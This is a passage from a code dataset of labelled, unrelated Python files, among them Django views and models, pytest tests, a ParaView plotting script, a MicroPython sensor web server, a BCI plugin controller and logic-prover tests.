end='')\n\tprint('\\n\\t'.join(repositories_list))\n\tutil.shell_command([maven_exec, '-f', str(path.abspath(pom_file)), 'dependency:copy-dependencies', '-DoutputDirectory=%s' % path.abspath(download_dir)])\n\tprint('Maven fetch complete')\n\tprint()\n\n","sub_path":"pyb_maven.py","file_name":"pyb_maven.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"116690399","text":"from django.shortcuts import render, get_object_or_404, redirect, reverse\nfrom .models import Tag, Question, Answer, Comment\nfrom .forms import NewQuestionForm, NewAnswerForm, AddCommentForm, AddTagForm\nfrom users.models import User\n\n\ndef index(request):\n \"\"\"问答主页\"\"\"\n new_questions = Question.objects.order_by('-create_at')\n hot_questions = Question.objects.order_by('-views')\n tags = Tag.objects.all()\n return render(request, 'discussion/index.html',\n {'new_questions': new_questions, 'hot_questions': hot_questions, 'tags': tags})\n\n\ndef tag_questions(request, id):\n \"\"\"标签下问题列表\"\"\"\n tag = get_object_or_404(Tag, id=id)\n questions = tag.questions.order_by('-create_at')\n return render(request, 'discussion/tag_questions.html', {'tag': tag, 'questions': questions})\n\n\ndef question_details(request, id):\n \"\"\"问题详情页\"\"\"\n question = get_object_or_404(Question, id=id)\n question.views += 1\n question.save()\n if request.method == 'POST':\n if request.POST.get(\"which\") == \"answer\": # 用户所提交的是回答\n answer_form = NewAnswerForm(request.POST)\n if answer_form.is_valid():\n answer = answer_form.save(commit=False)\n answer.question = question\n answer.create_by = User.objects.get(id=request.session.get('user_id'))\n answer.save()\n elif request.POST.get(\"which\") == \"comment\": # 用户所提交的是评论\n comment_form = AddCommentForm(request.POST)\n if comment_form.is_valid():\n answer = get_object_or_404(Answer, id=int(request.POST.get(\"current_answer\")))\n comment = comment_form.save(commit=False)\n comment.answer = answer\n comment.create_by = User.objects.get(id=request.session.get('user_id'))\n comment.save()\n return redirect(reverse('discuss:question_details', kwargs={'id': question.id}))\n\n else:\n answer_form = NewAnswerForm()\n comment_form = AddCommentForm()\n return render(request, 'discussion/question_details.html',\n {'question': question, 'answer_form': answer_form, 'comment_form': comment_form})\n\n\ndef ask_question(request):\n \"\"\"提问\"\"\"\n if request.method == 'POST':\n form = NewQuestionForm(request.POST)\n if form.is_valid():\n question = form.save(commit=False)\n question.asked_by = User.objects.get(id=request.session.get('user_id'))\n question.save()\n\n return redirect(reverse('discuss:question_details', kwargs={'id': question.id}))\n\n else:\n form = NewQuestionForm()\n\n return render(request, 'discussion/ask_question.html', {'form': form})\n\n\ndef add_tag(request):\n \"\"\"添加新的标签\"\"\"\n if request.method == 'POST':\n form = AddTagForm(request.POST)\n if form.is_valid():\n tag = form.save()\n tag.save()\n return redirect(reverse('discuss:index'))\n else:\n form = AddTagForm()\n return render(request, 'discussion/add_tag.html', {'form': form})\n","sub_path":"discussion/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"444649503","text":"# -*- coding: utf-8 -*-\r\nimport os\r\n\r\nfrom django.db import models\r\nfrom django.contrib.auth.models import User\r\nfrom django.utils import timezone\r\nfrom django.utils.safestring import mark_safe\r\nfrom django.utils.translation import ugettext as _\r\nfrom django.utils.translation import ugettext_lazy as ugl\r\n\r\nfrom settings import (TICKET_ATTACHMENTS, TICKET_TYPE, TICKET_SEVERITY,\r\n TICKET_STATE)\r\n\r\n\r\ndef uploadAttachment(instance, filename):\r\n return os.path.join(TICKET_ATTACHMENTS, filename)\r\n\r\n\r\nclass Ticket(models.Model):\r\n user = models.ForeignKey(User,)\r\n staff = models.ForeignKey(User,\r\n limit_choices_to={'is_staff': True},\r\n related_name='usrStaff',\r\n blank=True, null=True,\r\n )\r\n\r\n ticket_number = models.CharField(max_length=8,\r\n blank=True,\r\n null=True)\r\n\r\n ticket_type = models.IntegerField(default=2, choices=TICKET_TYPE)\r\n\r\n severity = models.IntegerField(default=3, choices=TICKET_SEVERITY)\r\n\r\n state = models.IntegerField(default=1, choices=TICKET_STATE)\r\n\r\n creation_date = models.DateTimeField(_('Creation Date'),\r\n default=timezone.now)\r\n\r\n description = models.TextField(ugl(u'Description'),\r\n default='...')\r\n attachment = models.FileField(upload_to=uploadAttachment,\r\n blank=True, null=True)\r\n\r\n resolution_date = models.DateTimeField(ugl(u'Resolution date'),\r\n blank=True, null=True)\r\n resolution_text = models.TextField(ugl(u'Resolution text'),\r\n blank=True, null=True)\r\n\r\n def __unicode__(self):\r\n return u'%s, %s' % (self.user, self.ticket_type)\r\n\r\n def resolucion_delta(self):\r\n return self.resolution_date - self.creation_date\r\n\r\n def resolucion_tag(self):\r\n return mark_safe(self.resolution_text)\r\n\r\n def save(self, *args, **kwargs):\r\n super(Ticket, self).save(*args, **kwargs)\r\n if not self.ticket_number:\r\n self.ticket_number = str(self.creation_date)[2:4] + (\r\n '00000000{id}'.format(id=self.id))[-6:]\r\n self.save()\r\n\r\n class Meta(object):\r\n verbose_name = 'Ticket'\r\n verbose_name_plural = 'Tickets'\r\n ordering = ('state', 'severity', 'creation_date')\r\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"599851585","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nTests for the 'Static clusters' metric (m11).\n\"\"\"\n\n\n# ----------------------------------------------------------------------------\n# Imports\n# ----------------------------------------------------------------------------\n\n# Standard library modules\nimport pathlib\nfrom typing import Any, List, Optional, Union\n\n# Third-party modules\nimport pytest\n\n# First-party modules\nfrom aim.common import image_utils\nfrom aim.metrics.m11.m11_static_clusters import Metric\nfrom tests.common.constants import DATA_TESTS_INPUT_VALUES_DIR\n\n# ----------------------------------------------------------------------------\n# Metadata\n# ----------------------------------------------------------------------------\n\n__author__ = \"Amir Hossein Kargaran, Markku Laine\"\n__date__ = \"2022-05-16\"\n__email__ = \"markku.laine@aalto.fi\"\n__version__ = \"1.0\"\n\n\n# ----------------------------------------------------------------------------\n# Tests\n# ----------------------------------------------------------------------------\n\n\n@pytest.mark.parametrize(\n [\"input_value\", \"expected_results\"],\n [\n (\"white_50_black_50.png\", [2]),\n (\"red_with_6_yellow_pixels.png\", [2]),\n (\"red_with_5_yellow_pixels.png\", [1]),\n (\"red_with_4_yellow_pixels.png\", [1]),\n ],\n)\ndef test_static_clusters_desktop(\n input_value: str, expected_results: List[Any]\n) -> None:\n \"\"\"\n Test static clusters metric (desktop GUIs).\n\n Args:\n input_value: GUI image file name\n expected_results: Expected results (list of measures)\n \"\"\"\n # Build GUI image file path\n gui_image_filepath: pathlib.Path = (\n pathlib.Path(DATA_TESTS_INPUT_VALUES_DIR) / input_value\n )\n\n # Read GUI image (PNG)\n gui_image_png_base64: str = image_utils.read_image(gui_image_filepath)\n\n # Execute metric\n result: Optional[List[Union[int, float, str]]] = Metric.execute_metric(\n gui_image_png_base64\n )\n\n # Test result\n if result is not None and isinstance(result[0], int):\n assert result[0] == expected_results[0]\n","sub_path":"backend/tests/metrics/test_m11.py","file_name":"test_m11.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"231313211","text":"# encoding=UTF-8\n\nimport sys\nimport time\nf = None\ntry:\n f = open(\"poem.txt\")\n # 我们常用的文件阅读风格\n while True:\n line = f.readline()\n if len(line) == 0:\n break\n print(line, end='')\n sys.stdout.flush()\n print(\"Press ctrl+c now\")\n # 为了确保它能运行一段时间\n time.sleep(2)\nexcept IOError:\n print(\"Could not find utils poem.txt\")\nexcept KeyboardInterrupt:\n print(\"!! You cancelled the reading from the utils.\")\nfinally:\n if f:\n f.close()\n print(\"(Cleaning up: Closed the utils)\")\n\nwith open(\"poem.txt\") as f:\n for line in f:\n print(line, end='')","sub_path":"BaseMethods/exceptions_finally_mido.py","file_name":"exceptions_finally_mido.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"339651603","text":"import pickle\nimport random\n\n\ndef append_to_file():\n with open(\"myfile_2.dat\", \"wb\") as target:\n data = [random.choice(range(10000)) for _ in range(10000)]\n pickle.dump(data, target)\n\n\ndef summ_from_file():\n with open(\"myfile_2.dat\", \"rb\") as source:\n data = pickle.load(source)\n return sum(data)\n\n\nif __name__ == '__main__':\n append_to_file()\n print(summ_from_file())\n","sub_path":"lec15/dz15_1/dz15_1_2.py","file_name":"dz15_1_2.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"500603321","text":"#### import the simple module from the paraview\nfrom paraview.simple import *\nimport os\nimport numpy as np\nimport getpass\n#### disable automatic camera reset on 'Show'\ndir = os.getcwd()\n# load plugin\n#### disable automatic camera reset on 'Show'\nparaview.simple._DisableFirstRenderCameraReset()\n\nviewSize = [1920, 1080]\naxisLabelFontSize=13\nfontSize=18\nstaticCylinder=True\nusername = getpass.getuser()\nhome = '/home/'+username+'/'\n\n# get active view\nrenderView1 = GetActiveViewOrCreate('RenderView')\n\n# get animation scene\nanimationScene1 = GetAnimationScene()\n\n# get the time-keeper\ntimeKeeper1 = GetTimeKeeper()\n\n# create a new 'OpenFOAMReader'\nSED_MODEL_NAMEfoam = OpenFOAMReader(FileName=dir+'/SED_MODEL_NAME.foam')\nSED_MODEL_NAMEfoam.CaseType = 'Decomposed Case'\nSED_MODEL_NAMEfoam.MeshRegions = ['internalMesh']\nSED_MODEL_NAMEfoam.CellArrays = ['vorticity']\n\n# update animation scene based on data timesteps\nanimationScene1.UpdateAnimationUsingDataTimeSteps()\n\n# Hide orientation axes\nrenderView1.OrientationAxesVisibility = 0\n\nLoadPalette(paletteName='BlackBackground')\n\n# get layout\nlayout1 = GetLayout()\n\n# split cell\nlayout1.SplitHorizontal(0, 0.7)\n\n# set active view\nSetActiveView(None)\n\n# split cell\nlayout1.SplitVertical(2, 0.5)\n\n# show data in view\nSED_MODEL_NAMEfoamDisplay = Show(SED_MODEL_NAMEfoam, renderView1, 'UnstructuredGridRepresentation')\n\n# set scalar coloring\nColorBy(SED_MODEL_NAMEfoamDisplay, ('POINTS', 'vorticity', 'Magnitude'))\n\n# show color bar/color legend\nSED_MODEL_NAMEfoamDisplay.SetScalarBarVisibility(renderView1, True)\n\n# get opacity transfer function/opacity map for 'Vorticity'\nvorticityLUT = GetColorTransferFunction('vorticity')\n\n# get color transfer function/color map for 'Vorticity'\nvorticityPWF = GetOpacityTransferFunction('vorticity')\n\nwith open(home+\"kode/colormaps/SINTEF1.xml\", \"r\") as f:\n data = f.read()\n vorticityLUT.ApplyColorMap(data)\n#vorticityLUT.ApplyPreset('SINTEF1', True)\n#vorticityPWF.ApplyPreset('SINTEF1', True)\n\n# reset view to fit data\n# Rescale transfer function\nvorticityPWF.RescaleTransferFunction(0.0, 10.0)\n\n# Rescale transfer function\nvorticityLUT.AutomaticRescaleRangeMode = \"Never\"\nvorticityLUT.RescaleOnVisibilityChange = 0\nif staticCylinder:\n\tvorticityLUT.RescaleTransferFunction(0.0, 10.0)\nelse:\n\tvorticityLUT.RescaleTransferFunction(0.0, 20.0)\n\n# get color legend/bar for vorticityLUT in view renderView1\nvorticityLUTColorBar = GetScalarBar(vorticityLUT, renderView1)\n\n# change scalar bar placement\nvorticityLUTColorBar.Orientation = 'Vertical'\nvorticityLUTColorBar.WindowLocation = 'LowerLeftCorner'\nvorticityLUTColorBar.Title = 'Vorticity'\nvorticityLUTColorBar.ComponentTitle = 'magnitude'\n#vorticityLUTColorBar.TitleFontSize = fontSize\n#vorticityLUTColorBar.LabelFontSize = fontSize\n#vorticityLUTColorBar.ScalarBarThickness = 10\n#vorticityLUTColorBar.ScalarBarLength = 0.3\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [5.7899, 0.0, 73.31]\nrenderView1.CameraFocalPoint = [5.7899, 0.0, 3.1415]\nrenderView1.CameraParallelScale = 8.4728\n\nif True: # plot SINTEF logo\n\t# create a new 'Logo'\n\tlogo1 = Logo()\n\tlogo1.Texture = CreateTexture(home+'OneDrive/work/graphics/logos/SINTEF_white.png')\n\tlogo1Display = Show(logo1, renderView1, 'LogoSourceRepresentation')\n\tlogo1Display.Position = [0.84, 0.0]\n\tlogo1Display.Interactivity = 0\n\n#############################################################################################################\n## Add volleyball image\nif not(staticCylinder):\n\tplane1 = Plane()\n\tD = 1.0\n\tplane1Display = Show(plane1, renderView1, 'GeometryRepresentation')\n\tplane1.Origin = [-D/2, -D/2, 10.0]\n\tplane1.Point1 = [D/2, -D/2, 10.0]\n\tplane1.Point2 = [-D/2, D/2, 10.0]\n\ttransform1 = Transform(Input=plane1)\n\tvolleyball = CreateTexture(home+\"OneDrive/work/paraview/sources/volleyball.png\")\n\ttransform1Display = Show(transform1, renderView1, 'GeometryRepresentation')\n\tHide(plane1,renderView1)\n\ttransform1Display.Texture = volleyball \n\ttransform1TransformRotationTrack = GetAnimationTrack('Rotation', index=2, proxy=transform1.Transform)\n#\tkeyFrame10769 = CompositeKeyFrame()\n#\tkeyFrame10770.KeyTime = 1.0\n#\ttransform1TransformRotationTrack.KeyFrames = [keyFrame10769, keyFrame10770]\n#############################################################################################################\n## Create 2D plots of lift and drag\n\n# create a new 'CSV Reader'\ncoefficientcsv = CSVReader(FileName=[dir+'/postProcessing/forceCoeffs/0/coefficient.csv'])\n\n# Create a new 'Quartile Chart View'\nquartileChartView1 = CreateView('QuartileChartView')\n\n# add view to a layout so it's visible in UI\nAssignViewToLayout(view=quartileChartView1, layout=layout1, hint=1)\n\n# Properties modified on quartileChartView1\nif staticCylinder:\n\tquartileChartView1.LeftAxisUseCustomRange = 1\n\tquartileChartView1.LeftAxisRangeMaximum = 1.4\n\tquartileChartView1.LeftAxisRangeMinimum = 1.0\nelse:\n\tquartileChartView1.LeftAxisUseCustomRange = 1\n\tquartileChartView1.LeftAxisRangeMaximum = 3.0\n\tquartileChartView1.LeftAxisRangeMinimum = 0.0\n\nquartileChartView1.ShowLegend = 0\nquartileChartView1.LeftAxisTitle = 'Drag coefficient'\nquartileChartView1.BottomAxisTitle = 'Time [s]'\n#quartileChartView1.LeftAxisTitleFontSize = fontSize\n#quartileChartView1.BottomAxisTitleFontSize = fontSize\nquartileChartView1.LeftAxisLabelFontSize = axisLabelFontSize\nquartileChartView1.BottomAxisLabelFontSize = axisLabelFontSize\n\n# show data in view\ncoefficientcsvDisplay_1 = Show(coefficientcsv, quartileChartView1, 'QuartileChartRepresentation')\ncoefficientcsvDisplay_1.SeriesVisibility = ['Cd']\ncoefficientcsvDisplay_1.SeriesColor = ['Cd', '0', '0', '0']\nquartileChartView1.Update()\n\n# Create a new 'Quartile Chart View'\nquartileChartView2 = CreateView('QuartileChartView')\n\n# add view to a layout so it's visible in UI\nAssignViewToLayout(view=quartileChartView2, layout=layout1, hint=2)\n\n# Properties modified on quartileChartView1\nif staticCylinder:\n\tquartileChartView2.LeftAxisUseCustomRange = 1\n\tquartileChartView2.LeftAxisRangeMaximum = 0.4\n\tquartileChartView2.LeftAxisRangeMinimum = -0.4\n\nquartileChartView2.ShowLegend = 0\nquartileChartView2.BottomAxisTitle = 'Time [s]'\nquartileChartView2.LeftAxisTitle = 'Lift coefficient'\n#quartileChartView2.LeftAxisTitleFontSize = fontSize\n#quartileChartView2.BottomAxisTitleFontSize = fontSize\nquartileChartView2.LeftAxisLabelFontSize = axisLabelFontSize\nquartileChartView2.BottomAxisLabelFontSize = axisLabelFontSize\n\n# show data in view\ncoefficientcsvDisplay_2 = Show(coefficientcsv, quartileChartView2, 'QuartileChartRepresentation')\ncoefficientcsvDisplay_2.SeriesVisibility = ['Cl']\ncoefficientcsvDisplay_2.SeriesColor = ['Cl', '0', '0', '0']\nquartileChartView2.Update()\nSetActiveView(quartileChartView2)\n\n####################################################################################################\n# Export visualization\nrenderView1.Update()\nSetActiveSource(None)\nRender()\n\nif False:\n\t## Save snapshots\n\tfor t in [100, 200, 1000]:\n\t\ttimeKeeper1 = GetTimeKeeper()\n\t\tanimationScene1 = GetAnimationScene()\n\t\tanimationScene1.AnimationTime = t\n\t\ttimeKeeper1.Time = t\n\t\trenderView1.ViewSize = viewSize\n\t\tSaveScreenshot(dir+'/screenshot_t'+str(t)+'.png', layout1, \n\t\t\t\tFontScaling='Scale fonts proportionally',\n\t\t\t\tOverrideColorPalette='',\n\t\t\t\tStereoMode='No change',\n\t\t\t\tTransparentBackground=1,\n\t\t\t\tImageResolution=viewSize,\n\t\t\t\tImageQuality=100)\n\nif False:\n\t# Generate movie\n\tSaveAnimation(dir+'/animation.ogv', layout1, \n\t\t\tFontScaling='Scale fonts proportionally',\n\t\t\tOverrideColorPalette='',\n\t\t\tStereoMode='No change',\n\t\t\tTransparentBackground=0, \n\t\t\tSaveAllViews=1,\n\t\t\tImageQuality=100,\n\t\t\tFrameRate=25,\n\t\t\tImageResolution=viewSize,\n\t\t\tSeparatorWidth=0,\n\t\t\tSeparatorColor=[1.0, 1.0, 1.0],\n\t\t\tQuality=2) #,\n# FrameWindow=[0,10],\n","sub_path":"cylinder/postProcScript.py","file_name":"postProcScript.py","file_ext":"py","file_size_in_byte":7811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"192760773","text":"import sys\nmaj = sys.version_info\n\nimport numpy as np\n\nversion = 2\n\nif maj[0] >= 3:\n\timport _pickle as pickle\n\timport importlib.machinery\n\timport types\n\tversion = 3\nelse:\n\timport cPickle as pickle\n\timport imp\n\nimport matplotlib.pyplot as plt\n\n\ndef graph(history_vfiles):\n\tval_losses = []\n\tcolors = ['r', 'g', 'b', 'c', 'm', 'y', 'k', 'w']\n\tplots = []\n\tlabels = []\n\tminimums = []\n\tfor i, h_file in enumerate(history_vfiles):\n\t\tlabel = 'Trial ' + str(i + 1)\n\t\tdata = pickle.load(open(h_file, 'rb'))\n\t\tplot, = plt.plot(data, colors[i % len(colors)], label=label)\n\t\tplots.append(plot)\n\t\tlabels.append(label)\n\t\tminimums.append(data[np.argmin(data)])\n\t\tplt.text()\n\n\n\tplt.plot(val_losses)\n\tplt.ylabel('Validation Loss')\n\tplt.xlabel('Trial')\n\tplt.title('Validation Loss vs. Trial')\n\tplt.legend(plots, labels)\n\tplt.show()\n\nif __name__ == '__main__':\n\tgraph(['slope_compliance/trial 1/val_losses.p',\n\t\t 'slope_compliance/trial 2/val_losses.p',\n\t\t 'slope_compliance/trial 3/val_losses.p' ] )","sub_path":"Data/SIMB/Slope + Compliance/Finer Sampling/Graph_Val_Losses.py","file_name":"Graph_Val_Losses.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"195976575","text":"\nfrom microWebSrv import MicroWebSrv\nimport rtthread\nimport json\nfrom machine import Pin, I2C\nimport fxos8700\nimport machine\n\n# ----------------------------------------------------------------------------\n\n@MicroWebSrv.route('/test')\ndef _httpHandlerTestGet(httpClient, httpResponse) :\n content = \"\"\"\\\n \n \n \n \n TEST GET\n \n \n

TEST GET

\n Client IP address = %s\n
\n
\n First name:
\n Last name:
\n \n
\n \n \n \"\"\" % httpClient.GetIPAddr()\n httpResponse.WriteResponseOk( headers = None,\n contentType = \"text/html\",\n contentCharset = \"UTF-8\",\n content = content )\n\n\n@MicroWebSrv.route('/test', 'POST')\ndef _httpHandlerTestPost(httpClient, httpResponse) :\n formData = httpClient.ReadRequestPostedFormData()\n firstname = formData[\"firstname\"]\n lastname = formData[\"lastname\"]\n content = \"\"\"\\\n \n \n \n \n TEST POST\n \n \n

TEST POST

\n Firstname = %s
\n Lastname = %s
\n \n \n \"\"\" % ( MicroWebSrv.HTMLEscape(firstname),\n MicroWebSrv.HTMLEscape(lastname) )\n httpResponse.WriteResponseOk( headers = None,\n contentType = \"text/html\",\n contentCharset = \"UTF-8\",\n content = content )\n\n@MicroWebSrv.route('/sysdata')\ndef _httpHandlerTestGet(httpClient, httpResponse) :\n ax, ay, az = sensor.accelerometer\n mx, my, mz = sensor.magnetometer\n cpu_usage = machine.get_cpu_usage()\n cpu_value = cpu_usage[0] + cpu_usage[1] * 0.1\n ip = httpClient.GetIPAddr();\n \n content ={\n 'status' : 200,\n 'body' :{\n 'status' : 1,\n 'result' :{\n \"versions\":\"3.0.3\",\n \"getTime\":\"1497594033\",\n \"cpuUtilization\":cpu_value,\n \"presentUtilization\":1,\n \"ipAddress\": ip,\n \"key\":1,\n \"Acceleration\": {\"accel_x\" : ax, \"accel_y\" : ay, \"accel_z\" : az},\n \"Magnetometer\": { \"mag_x\" : mx, \"mag_y\" : my, \"mag_z\" : mz}\n }\n }\n }\n headers = {\n\t 'Access-Control-Allow-Origin': '*',\n\t 'Access-Control-Allow-Methods': 'POST,GET',\n\t 'Access-Control-Allow-Headers': 'Content-Type, Authorization, Content-Length, X-Requested-With'\n }\n json_content = json.dumps(content)\n json_headers = json.dumps(headers)\n httpResponse.WriteResponseOk( headers = headers,\n contentType = \"text/json\",\n contentCharset = \"UTF-8\",\n content = json_content)\n\n@MicroWebSrv.route('/edit/') # /edit/123 -> args['index']=123\n@MicroWebSrv.route('/edit//abc/') # /edit/123/abc/bar -> args['index']=123 args['foo']='bar'\n@MicroWebSrv.route('/edit') # /edit -> args={}\ndef _httpHandlerEditWithArgs(httpClient, httpResponse, args={}) :\n content = \"\"\"\\\n \n \n \n \n TEST EDIT\n \n \n \"\"\"\n content += \"

EDIT item with {} variable arguments

\"\\\n .format(len(args))\n \n if 'index' in args :\n content += \"

index = {}

\".format(args['index'])\n \n if 'foo' in args :\n content += \"

foo = {}

\".format(args['foo'])\n \n content += \"\"\"\n \n \n \"\"\"\n httpResponse.WriteResponseOk( headers = None,\n contentType = \"text/html\",\n contentCharset = \"UTF-8\",\n content = content )\n\n# ----------------------------------------------------------------------------\n\ndef _acceptWebSocketCallback(webSocket, httpClient) :\n print(\"WS ACCEPT\")\n webSocket.RecvTextCallback = _recvTextCallback\n webSocket.RecvBinaryCallback = _recvBinaryCallback\n webSocket.ClosedCallback = _closedCallback\n\ndef _recvTextCallback(webSocket, msg) :\n print(\"WS RECV TEXT : %s\" % msg)\n webSocket.SendText(\"Reply for %s\" % msg)\n\ndef _recvBinaryCallback(webSocket, data) :\n print(\"WS RECV DATA : %s\" % data)\n\ndef _closedCallback(webSocket) :\n print(\"WS CLOSED\")\n\n# ----------------------------------------------------------------------------\n\n#routeHandlers = [\n# ( \"/test\", \"GET\", _httpHandlerTestGet ),\n# ( \"/test\", \"POST\", _httpHandlerTestPost )\n#]\n\nclk = Pin(('clk', 59), Pin.OUT_OD)\nsda = Pin(('sda', 60), Pin.OUT_OD)\ni2c = I2C(-1, clk, sda, freq=100000)\nsensor = fxos8700.FXOS8700(i2c)\n\nsrv = MicroWebSrv(webPath='www/')\nsrv.MaxWebSocketRecvLen = 256\nsrv.WebSocketThreaded = False\nsrv.AcceptWebSocketCallback = _acceptWebSocketCallback\nsrv.Start(threaded=False)\n\n# ----------------------------------------------------------------------------\n","sub_path":"library/webserver/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"221569831","text":"#!/usr/bin/env python3.6\n#\n# IMPORT\n#\nimport logging\n\nfrom yapsy.PluginManager import PluginManager\n\n# Importing two static objects.\n#\nfrom dictionary import Dictionary as dict\n\n# =======================\n# Enable loading of the plugins from the plugin directory.\n#\nmanager = PluginManager()\n\n# Enable logging of errors\n#\nlogging.basicConfig(level=logging.ERROR)\n\n\nclass Controller(object):\n \"\"\"\n The controller is responsible for handling all the preparations of the reader, and the reading from the model.\n The model is in the bci board, given as input to the class.\n\n \"\"\"\n\n def __init__(self, gui, bd, sets):\n\n # Initialising the plugin manager\n #\n self.manager = PluginManager() # Yapsy pluginmanager is used for plugins.\n self.plugins_paths = [\"plugins\"] # Make sure the path for the plugins works\n self.manager.setPluginPlaces(self.plugins_paths)\n self.manager.collectPlugins()\n\n #\n # Setting need-to-know variables.\n #\n self.gui = gui\n\n # Here is the instantiation of the board.\n #\n self.board = bd\n\n self.settings = sets\n\n # Set of callback functions (plug-ins) that have been acitvated.\n #\n self.callback_list = []\n self.plug_list = []\n\n\n\n\n # ============================================================\n # Internal functions for the controller. Most of these will be activated from the GUI. These are marked by the\n # type of initialisation, e.g. \n #\n\n # Initialisation for the board, and setting it up for commands.\n #\n # \n #\n def connect_board(self):\n self.model = self.board.OpenBCIBoard(self, self.gui, self.settings)\n self.activate_plugins()\n\n # \n #\n def start_streaming(self):\n self.model.start_streaming_thread(self.callback_list)\n\n # \n #\n def set_channels(self):\n pass\n def stop(self):\n self.model.stop()\n\n # Initialising the active channels.\n #\n\n\n\n # Method used to activate the plugins. If any plugin is not responding properly, an error message is generated.\n # This function is used initially, but can also be used during a run, for example to add new plugins,\n # if something interesting occurs.\n #\n def activate_plugins(self):\n\n self.plug_list = []\n self.callback_list = []\n\n # Fetch selected plugins from settings, try to activate them, add to the list if OK\n #\n plugs = self.settings.get_plugins()\n\n\n for plug_candidate in plugs:\n\n # first value: plugin name, then optional arguments\n #\n plug_name = plug_candidate[0]\n plug_args = plug_candidate[1:]\n\n # Try to find name\n #\n plug = self.manager.getPluginByName(plug_name)\n\n if plug == None:\n\n # eg: if an import failS inside a plugin, yapsy will skip it\n #\n print(\"Error: [ \" + plug_name + \" ] not found or could not be loaded. Check name and requirements.\")\n\n else:\n print(\"\\nActivating [ \" + plug_name + \" ] plugin...\")\n if not plug.plugin_object.pre_activate(plug_args,\n sample_rate=self.model.get_sample_rate(),\n eeg_channels=self.model.get_nb_eeg_channels(),\n aux_channels=self.model.get_nb_aux_channels(),\n imp_channels=self.model.get_nb_imp_channels()):\n print(\"Error while activating [ \" + plug_name + \" ], check output for more info.\")\n else:\n print(\"Plugin [ \" + plug_name + \"] added to the list\")\n self.plug_list.append(plug.plugin_object)\n self.callback_list.append(plug.plugin_object)\n\n print(self.callback_list)\n\n # The deactivation of plugins is necessary for a clean closing of files, etc.\n #\n def clean_up(self):\n self.model.disconnect()\n print(dict.get_string('deactivate_plug'))\n for plug in self.plug_list:\n plug.deactivate()\n print(dict.get_string('exiting'))\n\n# =================================================\n# =================================================","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":4423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"395877412","text":"#!/usr/bin/env python3.4\n\nfrom tests.lawful import test, run_tests\n\nimport judged\nfrom judged.logic import Knowledge\nfrom judged.logic import Prover\n\nvar = judged.Variable\nconst = judged.Constant\npred = judged.Predicate\nlit = judged.Literal\nclause = judged.Clause\n\n@test.prover\ndef primitives():\n kb = Knowledge(None)\n prover = Prover(kb)\n\n def testpred(literal, prover):\n if literal[0].is_const():\n yield clause(literal)\n else:\n yield clause(lit(literal.pred, [const('foo')]))\n yield clause(lit(literal.pred, [const('bar')]))\n yield clause(lit(literal.pred, [const('baz')]))\n\n kb.add_primitive(pred('testpred',1), testpred, 'Description')\n\n l1 = lit(pred('y', 1), [var('X')])\n l2 = lit(pred('testpred', 1), [var('X')])\n\n c1 = clause(l1, [l2])\n kb.assert_clause(c1)\n\n query = lit(pred('y',1),[var('X')])\n answer = prover.ask(query, lambda s: True)\n assert set(answer) == set([ clause(lit(pred('y',1), [const('foo')]),[],[]), clause(lit(pred('y',1), [const('bar')]),[],[]), clause(lit(pred('y',1), [const('baz')]),[],[]) ])\n\n query = lit(pred('y',2), [const('twelve'), var('X')])\n answer = prover.ask(query, lambda s: True)\n assert not set(answer)\n\n kb.assert_clause(clause(lit(pred('testpred', 1), [const('quux')]), []))\n query = lit(pred('y',1),[var('X')])\n answer = prover.ask(query, lambda s: True)\n assert set(answer) == set([ clause(lit(pred('y',1), [const('foo')]),[],[]), clause(lit(pred('y',1), [const('bar')]),[],[]), clause(lit(pred('y',1), [const('baz')]),[],[]), clause(lit(pred('y',1), [const('quux')]),[],[])])\n\n query = lit(pred('y',2), [const('twelve'), var('X')])\n answer = prover.ask(query, lambda s: True)\n assert not set(answer)\n\n@test.prover\ndef equals():\n kb = Knowledge(None)\n prover = Prover(kb)\n\n l1 = lit(pred('y',1), [var('X')])\n l2 = lit(pred('=',2), [var('X'), var('Y')])\n l3 = lit(pred('z',1), [var('Y')])\n\n c1 = clause(l1, [l2, l3])\n kb.assert_clause(c1)\n\n for v in ('foo', 'bar'):\n kb.assert_clause(clause(lit(pred('z',1), [const(v)]), []))\n\n query = lit(pred('y',1),[var('X')])\n answer = prover.ask(query, lambda s: True)\n assert set(answer) == set([clause(lit(pred('y',1), [const('foo')]),[],[]), clause(lit(pred('y',1), [const('bar')]),[],[])])\n","sub_path":"tests/test_prover.py","file_name":"test_prover.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"357774781","text":"#Run me with 'python -m unittest test_bst'\n\nfrom bst import BinarySearchTree\nimport unittest\n\nclass TestBinarySearchTree(unittest.TestCase):\n\n\t# def test_failure(self):\n\t# \tself.fail(\"Intentional failure\")\n\n\tdef test_instantiation(self):\n\t\t'''\n\t\tA BinarySearchTree exists\n\t\t'''\n\t\ttry:\n\t\t\tBinarySearchTree()\n\t\texcept NameError:\n\t\t\tself.fail(\"Could not instantiate BinarySearchtree\")\n\n\tdef 